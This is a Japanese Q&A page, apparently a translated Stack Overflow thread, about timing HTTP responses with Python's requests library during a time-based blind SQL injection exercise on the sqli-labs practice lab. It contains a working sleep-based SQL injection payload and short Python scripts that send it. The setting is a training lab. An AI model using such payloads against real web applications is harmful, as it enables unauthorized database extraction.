web-dev-qa-db-ja.com

PythonのリクエストライブラリによるHTTP応答時間の測定。私はそれを正しくやっていますか?

WebアプリケーションからのHTTP応答に人為的な遅延を引き起こそうとしています(これはブラインドSQLインジェクションを行うために使用される手法です)。以下のHTTPリクエストがブラウザーから送信された場合、Webサーバーからの応答は3秒後に返されます(sleep(3)が原因):

http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+

Python 2.7リクエストライブラリを使用して同じことを実行しようとしています。コードは次のとおりです。

import requests

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip

ラウンドトリップは3秒であると予想していましたが、代わりに0.001371、0.001616、0.002228などの値を取得しています。経過した属性を適切に使用していませんか?

9
user1720897

elapsed は、完全な応答が転送されるまでではなく、要求を送信してから応答headersの解析を終了するまでの時間を測定します。

その時間を測定したい場合は、自分で測定する必要があります。

import requests
import time

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip
18
mata

私のペイロードは

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}

元のペイロードの最後の文字「+」がバックエンドデータベースに渡されているため、SQL構文が無効になります。ペイロードで手動のエンコードを行うべきではありませんでした。

0
user1720897